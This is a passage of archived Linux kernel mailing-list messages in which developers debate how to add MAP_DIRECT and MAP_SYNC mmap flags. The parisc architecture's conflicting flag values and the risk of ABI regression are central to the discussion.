 <20170825130011.GA30072@infradead.org> <20170825155803.4km7wttzadfqw2vb@node.shutemov.name>
 <20170825160236.GA2561@infradead.org> <20170825161607.6v6beg4zjktllt2z@node.shutemov.name>
 <4de21e8d-5e10-ec40-c731-0c079953cf48@gmx.de> <CAPcyv4jeZc8P+E0aHNChzy-wfNpOx3GehKck1nXqJ1b9JdydFA@mail.gmail.com>
 <20170826074047.GA6292@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1503760548 5715 195.159.176.226 (26 Aug 2017 15:15:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Aug 2017 15:15:48 +0000 (UTC)
Cc: "Kirill A. Shutemov" <kirill@shutemov.name>,
        Christoph Hellwig <hch@infradead.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jan Kara <jack@suse.cz>, Arnd Bergmann <arnd@arndb.de>,
        "linux-nvdimm@lists.01.org" <linux-nvdimm@lists.01.org>,
        Linux API <linux-api@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        linux-xfs@vger.kernel.org, Linux MM <linux-mm@kvack.org>,
        Andy Lutomirski <luto@kernel.org>,
        linux-fsdevel <linux-fsdevel@vger.kernel.org>,
        "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
        linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 26 17:15:41 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dlcoE-0001Z5-Ut
	for glpp-linux-parisc@m.gmane.org; Sat, 26 Aug 2017 17:15:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751067AbdHZPPp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 26 Aug 2017 11:15:45 -0400
Original-Received: from mail-oi0-f44.google.com ([209.85.218.44]:34857 "EHLO
        mail-oi0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750931AbdHZPPo (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 26 Aug 2017 11:15:44 -0400
Original-Received: by mail-oi0-f44.google.com with SMTP id k77so18596448oib.2
        for <linux-parisc@vger.kernel.org>; Sat, 26 Aug 2017 08:15:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=intel-com.20150623.gappssmtp.com; s=20150623;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=KIRnI3V2SwW7mCDQARj38LtI5vOMV16MIOuCWDUcJuw=;
        b=iRICAXHF3QXVNzOHpOtSW4vbXkz7QRgncF5eSJVtvEKsbbSmntetm2h0NeaabuSEnx
         aTcLD7VC8S81YlNJS6920sFWHzvh7T+vQdoUTlgNmAvGf02HbINmTsXuLsG0jFcGy3CM
         M0xapl0P0ayJx7ct+l65GO6yEL/Wo25GGUNQfT5CxwHzPoj6gyz/UWf8fFnCYGhvwgP7
         49hvehkNJ/gKDrzigyiUKTyIjHi72XypDnI3KoiT+cgk6bWS+tZHQgaSN5G5G1xIXj85
         xxTeJn0sLWNRY/Xn+raYemBQ+zMBU1Wwafh/SiJ6gOJOLEqern62hoVDw3pzyT2WH9Jl
         MmSw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=KIRnI3V2SwW7mCDQARj38LtI5vOMV16MIOuCWDUcJuw=;
        b=cNyPbP51o+IC0AMn/TS4CRF8BoBJtCgmcOuhC17RG0XuBjq+h1cD89qxFGQ0jmYig6
         Bsz8uTNhQkeWI9OUCBQ2nXo2Y1AMN+wKcLBayL9+vJIvH6i3/SeL+UGt0EhIn2hZ25as
         tqF/ftN/GXHCsVWpW0sq/7Z+U2aAClKv4oSRhOTyBOXQpk0ZvfTFX8RNlaSVc6RdXnut
         rjm6n5oPsqe+VgZ2FZKpVxqWP9Q1C7qiqfI6Tv8V2uN+SbddoOfr7OTht77F7wT0xgnN
         uhShKGXAZlYbDTT7XreKX6VRhP1zzyEFI1DeaydvBNUIyL0pzlZR0Vo6BL7J5a5+fgCp
         3j+g==
X-Gm-Message-State: AHYfb5giaFPqcQL5oNb7glUP4ebPRuaTu3gVm3AUmhRunGlT3GZweLYg
        SuzZWal51KdbxWAWPSXxQ7tu8+bepI5a
X-Received: by 10.202.60.132 with SMTP id j126mr2078272oia.115.1503760543700;
 Sat, 26 Aug 2017 08:15:43 -0700 (PDT)
Original-Received: by 10.157.42.3 with HTTP; Sat, 26 Aug 2017 08:15:43 -0700 (PDT)
In-Reply-To: <20170826074047.GA6292@ls3530.fritz.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27767 gmane.linux.hardware.nvdimm:6108 gmane.linux.kernel.api:24588 gmane.linux.kernel:2558176 gmane.linux.kernel.mm:178692 gmane.linux.file-systems:125891
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27767>

On Sat, Aug 26, 2017 at 12:40 AM, Helge Deller <deller@gmx.de> wrote:
> * Dan Williams <dan.j.williams@intel.com>:
>> On Fri, Aug 25, 2017 at 9:19 AM, Helge Deller <deller@gmx.de> wrote:
>> > On 25.08.2017 18:16, Kirill A. Shutemov wrote:
>> >> On Fri, Aug 25, 2017 at 09:02:36AM -0700, Christoph Hellwig wrote:
>> >>> On Fri, Aug 25, 2017 at 06:58:03PM +0300, Kirill A. Shutemov wrote:
>> >>>> Not all archs are ready for this:
>> >>>>
>> >>>> arch/parisc/include/uapi/asm/mman.h:#define MAP_TYPE    0x03            /* Mask for type of mapping */
>> >>>> arch/parisc/include/uapi/asm/mman.h:#define MAP_FIXED   0x04            /* Interpret addr exactly */
>> >>>
>> >>> I'd be happy to say that we should not care about parisc for
>> >>> persistent memory.  We'll just have to find a way to exclude
>> >>> parisc without making life too ugly.
>> >>
>> >> I don't think creapling mmap() interface for one arch is the right way to
>> >> go. I think the interface should be universal.
>> >>
>> >> I may imagine MAP_DIRECT can be useful not only for persistent memory.
>> >> For tmpfs instead of mlock()?
>> >
>> > On parisc we have
>> > #define MAP_SHARED      0x01            /* Share changes */
>> > #define MAP_PRIVATE     0x02            /* Changes are private */
>> > #define MAP_TYPE        0x03            /* Mask for type of mapping */
>> > #define MAP_FIXED       0x04            /* Interpret addr exactly */
>> > #define MAP_ANONYMOUS   0x10            /* don't use a file */
>> >
>> > So, if you need a MAP_DIRECT, wouldn't e.g.
>> > #define MAP_DIRECT      0x08
>> > be possible (for parisc, and others 0x04).
>> > And if MAP_TYPE needs to include this flag on parisc:
>> > #define MAP_TYPE        (0x03 | 0x08)  /* Mask for type of mapping */
>>
>> The problem here is that to support new the mmap flags the arch needs
>> to find a flag that is guaranteed to fail on older kernels. Defining
>> MAP_DIRECT to 0x8 on parisc doesn't work because it will simply be
>> ignored on older parisc kernels.
>>
>> However, it's already the case that several archs have their own
>> sys_mmap entry points. Those archs that can't follow the common scheme
>> (only parsic it seems) will need to add a new mmap syscall. I think
>> that's a reasonable tradeoff to allow every other architecture to add
>> this support with their existing mmap syscall paths.
>
> I don't want other architectures to suffer just because of parisc.
> But adding a new syscall just for usage on parisc won't work either,
> because nobody will add code to call it then.

I don't understand this comment, if / when parisc gets around to
adding pmem and dax support why wouldn't libc grow support for the new
parisc mmap variant? Also, it's not just MAP_DIRECT you would also
need space for a MAP_SYNC flag.

>> That means MAP_DIRECT should be defined to MAP_TYPE on parisc until it
>> later defines an opt-in mechanism to a new syscall that honors
>> MAP_DIRECT as a valid flag.
>
> I'd instead propose to to introduce an ABI breakage for parisc users
> (which aren't many). Most parisc users update their kernel regularily
> anyway, because we fixed so many bugs in the latest kernel.
>
> With the following patch pushed down to the stable kernel series,
> MAP_DIRECT will fail as expected on those kernels, while we can
> keep parisc up with current developments regarding MAP_DIRECT.

The whole point is to avoid an ABI regression and the chance for false
positive results. We're immediately stuck if some application was
expecting 0x8 to be ignored, or conversely an application that
absolutely needs to rely on MAP_SYNC/MAP_DIRECT semantics assumes the
wrong result on a parisc kernel where they are ignored.

I have not seen any patches for parisc pmem+dax enabling so it seems
too early to worry about these "last mile" enabling features of
MAP_DIRECT and MAP_SYNC. In particular parisc doesn't appear to have
ARCH_ENABLE_MEMORY_HOTPLUG, so as far as I can see it can't yet
support the ZONE_DEVICE scheme that is a pre-requisite for MAP_DIRECT.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.ports.parisc,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.file-systems
Subject: Re: [PATCH v6 3/5] mm: introduce mmap3 for safely defining new mmap
 flags
Date: Sat, 26 Aug 2017 21:50:59 +0200
Lines: 86
Approved: news@gmane.org
Message-ID: <35692b04-eb4f-740c-e35c-8ccbf69e0e97@gmx.de>
References: <150353211413.5039.5228914877418362329.stgit@dwillia2-desk3.amr.corp.intel.com>
 <150353213097.5039.6729469069608762658.stgit@dwillia2-desk3.amr.corp.intel.com>
 <20170824165546.GA3121@infradead.org>
 <CAPcyv4iN0QpUSgOUvisnNQsiV1Pp=4dh7CwAV8FFj=_rFU=aug@mail.gmail.com>
 <20170825130011.GA30072@infradead.org>
 <20170825155803.4km7wttzadfqw2vb@node.shutemov.name>
 <20170825160236.GA2561@infradead.org>
 <20170825161607.6v6beg4zjktllt2z@node.shutemov.name>
 <4de21e8d-5e10-ec40-c731-0c079953cf48@gmx.de>
 <CAPcyv4jeZc8P+E0aHNChzy-wfNpOx3GehKck1nXqJ1b9JdydFA@mail.gmail.com>
 <20170826074047.GA6292@ls3530.fritz.box>
 <CAPcyv4ic0zxQzWEipZ=1LpDC8VnmphGzVSYmrFcjOAgX7esfUw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503777095 7294 195.159.176.226 (26 Aug 2017 19:51:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Aug 2017 19:51:35 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-xfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Jan Kara <jack-AlSwsSmVLrQ@public.gmane.org>,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
 "linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org" <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>,
 Linux API <linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 "linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Christoph Hellwig <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>, Linux MM <linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org>,
 Andy Lutomirski <luto-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
 linux-fsdevel <linux-fsdevel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 "Kirill A. Shutemov" <kirill-oKw7cIdHH8eLwutG50LtGA@public.gmane.org>,
 Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
 "Kirill A. Shutemov" <kirill.shutemov-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>
To: Dan Williams <dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Sat Aug 26 21:51:21 2017
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1dlh72-00013E-AJ
	for gln-linux-nvdimm@m.gmane.org; Sat, 26 Aug 2017 21:51:20 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 59C482095AE58;
	Sat, 26 Aug 2017 12:48:48 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.15.15])
 (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 740022095AE46
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Sat, 26 Aug 2017 12:48:46 -0700 (PDT)
Original-Received: from [192.168.20.60] ([193.159.24.126]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MXZbS-1e0Uxw0dK2-00WZoN; Sat, 26
 Aug 2017 21:51:06 +0200
In-Reply-To: <CAPcyv4ic0zxQzWEipZ=1LpDC8VnmphGzVSYmrFcjOAgX7esfUw-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
Content-Language: en-US
X-Provags-ID: V03:K0:cKhXFERZ63ZpXAifTry//xGrrW/lFN549KzCJbC+Mye9Y0haGT5
 3ES8gdpEt3DBdF5C/aQ731P+wOJ4/C9xELh1zwM7lkfrqByXOdAsBQiUM4qz9vIkz5Rqx9z
 /YvnA+uX36c1he84seZTqOs8spx8y7ONq5HDzNHM2BRT9caFYaQf8Rj3qvpn0TYNSctM5Op
 eVzKcICExksS0rJD2XOUg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:vyQOAhCfHi8=:DZyC0AVhxq3jhfLu9V50oX
 A8m14NLze3axlppBHUML0mqQRaXQZzekl/p0wtBmPw3CZjB68ZZIAOshXmPKEBbRP36b9ilgY
 8yOjy2wWknMYRRrM5MM3lkgNJZHk8FVS4ya4/YsOMlZDWGPZ0P8frnBy6qV78fsC9HqjV+2ZZ
 s0cQrx1ppWo/ur6z6PFD7BlX+iUUfnbWk56ts9aV+9Gz27/U/jap+5JU9UDBDz4n+QWwXomu3
 OTfjS2AIuLgoIKIhsBlq7/K3kgBSi67/0lXsEcPV2eQ5h0ZzlEY5hejee8XALm85T9/1EvGBa
 GDpPd7P6d3cm1NXiwwsX7lGToUill9i+s5FBr4w7HLX3r9+Ps6qRQ487oNwH9n8nvejhij7FM
 3JQWjZOsYE/Td/vAsMhVfuG7haqqAputIXmYaFfHAkxtTRyBG+HwO0cGuFvx1rdA36Q1hOVxT
 8xvbZOcxyNsdw1dnKWIrdGRuS+cXs0uAfo4U9G8IxT8PEW5ZPLjgSnYj+NyykJ95wlBBSWU17
 8TIpTGEhJ+HEkrTIBx6GFQ7d2FrmvFJBrelm93lFX/q2KoRh72HLupKE2vl2Yxjdzo05iClt4
 T8B4i1zoXpNghCSZk5facHhTd2nP4lcsRSCCFmLNpThgwQQAcM+uZ9Fa3bKqgOhQer84vo2j2
 yr34Ost9mvxSCLnUMlaOZjD9vBQ19BMfN87iWCMsYvbMjQzN/kIFOruSZbs9T2P+Z4kAVdVnd
 UgDMT9pHQs7ZU6Ye28R1APYpmcOnROvwIQXX5XYQTPm+qnwq8W1/e6HRD5/XGLJaj9SUs2ES 
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.22
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:6109 gmane.linux.ports.parisc:27768 gmane.linux.kernel.api:24589 gmane.linux.kernel:2558203 gmane.linux.kernel.mm:178696 gmane.linux.file-systems:125894
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/6109>

On 26.08.2017 17:15, Dan Williams wrote:
> On Sat, Aug 26, 2017 at 12:40 AM, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org> wrote:
>> * Dan Williams <dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>:
>>> On Fri, Aug 25, 2017 at 9:19 AM, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org> wrote:
>>>> On 25.08.2017 18:16, Kirill A. Shutemov wrote:
>>>>> On Fri, Aug 25, 2017 at 09:02:36AM -0700, Christoph Hellwig wrote:
>>>>>> On Fri, Aug 25, 2017 at 06:58:03PM +0300, Kirill A. Shutemov wrote:
>>>>>>> Not all archs are ready for this:
>>>>>>>
>>>>>>> arch/parisc/include/uapi/asm/mman.h:#define MAP_TYPE    0x03            /* Mask for type of mapping */
>>>>>>> arch/parisc/include/uapi/asm/mman.h:#define MAP_FIXED   0x04            /* Interpret addr exactly */
>>>>>>
>>>>>> I'd be happy to say that we should not care about parisc for
>>>>>> persistent memory.  We'll just have to find a way to exclude
>>>>>> parisc without making life too ugly.
>>>>>
>>>>> I don't think creapling mmap() interface for one arch is the right way to
>>>>> go. I think the interface should be universal.
>>>>>
>>>>> I may imagine MAP_DIRECT can be useful not only for persistent memory.
>>>>> For tmpfs instead of mlock()?
>>>>
>>>> On parisc we have
>>>> #define MAP_SHARED      0x01            /* Share changes */
>>>> #define MAP_PRIVATE     0x02            /* Changes are private */
>>>> #define MAP_TYPE        0x03            /* Mask for type of mapping */
>>>> #define MAP_FIXED       0x04            /* Interpret addr exactly */
>>>> #define MAP_ANONYMOUS   0x10            /* don't use a file */
>>>>
>>>> So, if you need a MAP_DIRECT, wouldn't e.g.
>>>> #define MAP_DIRECT      0x08
>>>> be possible (for parisc, and others 0x04).
>>>> And if MAP_TYPE needs to include this flag on parisc:
>>>> #define MAP_TYPE        (0x03 | 0x08)  /* Mask for type of mapping */
>>>
>>> The problem here is that to support new the mmap flags the arch needs
>>> to find a flag that is guaranteed to fail on older kernels. Defining
>>> MAP_DIRECT to 0x8 on parisc doesn't work because it will simply be
>>> ignored on older parisc kernels.
>>>
>>> However, it's already the case that several archs have their own
>>> sys_mmap entry points. Those archs that can't follow the common scheme
>>> (only parsic it seems) will need to add a new mmap syscall. I think
>>> that's a reasonable tradeoff to allow every other architecture to add
>>> this support with their existing mmap syscall paths.
>>
>> I don't want other architectures to suffer just because of parisc.
>> But adding a new syscall just for usage on parisc won't work either,
>> because nobody will add code to call it then.
> 
> I don't understand this comment, if / when parisc gets around to
> adding pmem and dax support why wouldn't libc grow support for the new
> parisc mmap variant? Also, it's not just MAP_DIRECT you would also
> need space for a MAP_SYNC flag.
> 
>>> That means MAP_DIRECT should be defined to MAP_TYPE on parisc until it
>>> later defines an opt-in mechanism to a new syscall that honors
>>> MAP_DIRECT as a valid flag.
>>
>> I'd instead propose to to introduce an ABI breakage for parisc users
>> (which aren't many). Most parisc users update their kernel regularily
>> anyway, because we fixed so many bugs in the latest kernel.
>>
>> With the following patch pushed down to the stable kernel series,
>> MAP_DIRECT will fail as expected on those kernels, while we can
>> keep parisc up with current developments regarding MAP_DIRECT.
> 
> The whole point is to avoid an ABI regression and the chance for false
> positive results. We're immediately stuck if some application was
> expecting 0x8 to be ignored, or conversely an application that
> absolutely needs to rely on MAP_SYNC/MAP_DIRECT semantics assumes the
> wrong result on a parisc kernel where they are ignored.
> 
> I have not seen any patches for parisc pmem+dax enabling so it seems
> too early to worry about these "last mile" enabling features of
> MAP_DIRECT and MAP_SYNC. In particular parisc doesn't appear to have
> ARCH_ENABLE_MEMORY_HOTPLUG, so as far as I can see it can't yet
> support the ZONE_DEVICE scheme that is a pre-requisite for MAP_DIRECT.

I see, but then it's probably best to not to define any MAP_DIRECT or 
MAP_SYNC at all in the headers of those arches which don't support
pmem+dax (parisc, m68k, alpha, and probably quite some others).
That way applications can detect at configure time if the platform
supports that, and can leave out the functionality completely.

Helge

From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dan Williams <dan.j.williams@intel.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.hardware.nvdimm,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: Re: [PATCH v6 3/5] mm: introduce mmap3 for safely defining new mmap flags
Date: Sat, 26 Aug 2017 15:46:22 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <CAPcyv4i0+3Smg9bfynKa150y7qvQ-WVRBHyCrK=R1b4oVj3URA@mail.gmail.com>
References: <150353211413.5039.5228914877418362329.stgit@dwillia2-desk3.amr.corp.intel.com>
 <150353213097.5039.6729469069608762658.stgit@dwillia2-desk3.amr.corp.intel.com>
 <20170824165546.GA3121@infradead.org> <CAPcyv4iN0QpUSgOUvisnNQsiV1Pp=4dh7CwAV8FFj=_rFU=aug@mail.gmail.com>
 <20170825130011.GA30072@infradead.org> <20170825155803.4km7wttzadfqw2vb@node.shutemov.name>
 <20170825160236.GA2561@infradead.org> <20170825161607.6v6beg4zjktllt2z@node.shutemov.name>
 <4de21e8d-5e10-ec40-c731-0c079953cf48@gmx.de> <CAPcyv4jeZc8P+E0aHNChzy-wfNpOx3GehKck1nXqJ1b9JdydFA@mail.gmail.com>
 <20170826074047.GA6292@ls3530.fritz.box> <CAPcyv4ic0zxQzWEipZ=1LpDC8VnmphGzVSYmrFcjOAgX7esfUw@mail.gmail.com>
 <35692b04-eb4f-740c-e35c-8ccbf69e0e97@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1503787589 10614 195.159.176.226 (26 Aug 2017 22:46:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Aug 2017 22:46:29 +0000 (UTC)
Cc: "Kirill A. Shutemov" <kirill@shutemov.name>, Christoph Hellwig <hch@infradead.org>, 
	Andrew Morton <akpm@linux-foundation.org>, Jan Kara <jack@suse.cz>, Arnd Bergmann <arnd@arndb.de>, 
	"linux-nvdimm@lists.01.org" <linux-nvdimm@lists.01.org>, Linux API <linux-api@vger.kernel.org>, 
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>, linux-xfs@vger.kernel.org, 
	Linux MM <linux-mm@kvack.org>, Andy Lutomirski <luto@kernel.org>, 
	linux-fsdevel <linux-fsdevel@vger.kernel.org>, 
	"Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-linux-mm@kvack.org Sun Aug 27 00:46:23 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1dljqN-0002F7-Gt
	for glkm-linux-mm-2@m.gmane.org; Sun, 27 Aug 2017 00:46:19 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 9A6EB28089F; Sat, 26 Aug 2017 18:46:25 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 9573628042F; Sat, 26 Aug 2017 18:46:25 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 8463328089F; Sat, 26 Aug 2017 18:46:25 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-oi0-f72.google.com (mail-oi0-f72.google.com [209.85.218.72])
	by kanga.kvack.org (Postfix) with ESMTP id 576F028042F
	for <linux-mm@kvack.org>; Sat, 26 Aug 2017 18:46:25 -0400 (EDT)
Original-Received: by mail-oi0-f72.google.com with SMTP id r9so410809oie.1
        for <linux-mm@kvack.org>; Sat, 26 Aug 2017 15:46:25 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:mime-version:in-reply-to
         :references:from:date:message-id:subject:to:cc;
        bh=Nr/Qe/4Zj4Gvt9AQyioAXEdxOQarkR/osSfkNkHaYV8=;
        b=f0RWB+FrZpVH2MYWhvB5wF5ARg1aBbg4jTaCwgvteB0n88z50eEc+DS+R5du8nV6DM
         b2glIC6nrYbsFHw7B+vYtm9OZGS5GsSMkviIH+A/sZfttMWiXm8436Kprz+VsPXZmogT
         n8/t1anM6ZuL0GSYwEg7ZZ2gky+awZ2VkYHit3lXXKrdB+4Oh1K4cw/ZDSZg8yTYXl8q
         gksW/k+ri4TjTeODlalZuX0IUmokP31P5OlgMdyxiovXFTRbjecpcQxTjjwSvyESHs2q
         etZ3k7uaUwQJanTFMXqfJu5BomJ77ei5S+wcsowuHClt+6aP4XvFZRzIjdsSzUXQ6cTi
         pq3w==
X-Gm-Message-State: AHYfb5gEJ/MIyzGCZbwD/HclXR+b8VXWWnflYSS9TtcAivwcc+2o8iNE
	IAyIGHCbEM0tH4aYqcUJpKitd/Xh8qXXtiFwXw1L2N/eOKo7Wn4yoXLR3cNYz7ptDQqrOfV5Jt8
	mLvVd1JiZljwSlyaxgHmr5Vhd7HDZ1JJiaKO0ZbfIRyTbViLTuyTlnwy9RYGBI11pLD97/WSKeH
	pHkGJqNEoqis13naPG3usWcSm7NgvBl8creQ/LvnStlGkCFR5cjYea2nAmRdqc16YQv+lXf+daL
	X35fAoxDIZoNLiILR+fqEivtzjf2fd6jPDQiauhO9kVoEn/lSsOMYsMKSkUjjJGWQQXXUFQzUty
	uQf98ZU6PULp8rWO0ULpG7FjsbbJL/0MNMQawVGdxrwFH1eQydbdUKjeG4L+dsd8Gg4=
X-Received: by 10.202.170.19 with SMTP id t19mr3733845oie.82.1503787585126;
        Sat, 26 Aug 2017 15:46:25 -0700 (PDT)
X-Received: by 10.202.170.19 with SMTP id t19mr3733822oie.82.1503787584426;
        Sat, 26 Aug 2017 15:46:24 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1503787584; cv=none;
        d=google.com; s=arc-20160816;
        b=0ZOGjOICGAZUXZFI/dWj4pvz1csj9RL1ZcmJWbN+ZCnldZHR+cMJy8Fg40BIbmFYnB
         KZLMRtAU8T5IqU3h0h6syoj8geqAAEztOgC1I2ZWHzmRxW+UsBbAJPG91tXmleW3vl2n
         iG4bCkMWPUAU5nvadE4Xmyv4yhcrI2O5lw26bGyTqnU6OEgGdKKYUtLKqKbzPpBsrxTM
         HLgPJP0zojugi6R0047nqwU4zESs8vZPjGuGJfjFj4C4xBXcn2Fx1hkgPlEZ8mmhCdHY
         BpcJljhKEeufVX7JyCd7FArvPQvMgas/NZF8tmyvr/ELUeysz4nkIWgwpNwtInYuTeWe
         IE0Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
        h=cc:to:subject:message-id:date:from:references:in-reply-to
         :mime-version:dkim-signature:arc-authentication-results;
        bh=Nr/Qe/4Zj4Gvt9AQyioAXEdxOQarkR/osSfkNkHaYV8=;
        b=Ht7v7ollunT1eDbMOunDffQo7jpKaf8oaYyyykpiWdoyjOYYqlq4D0+2Cvfi7VtkWZ
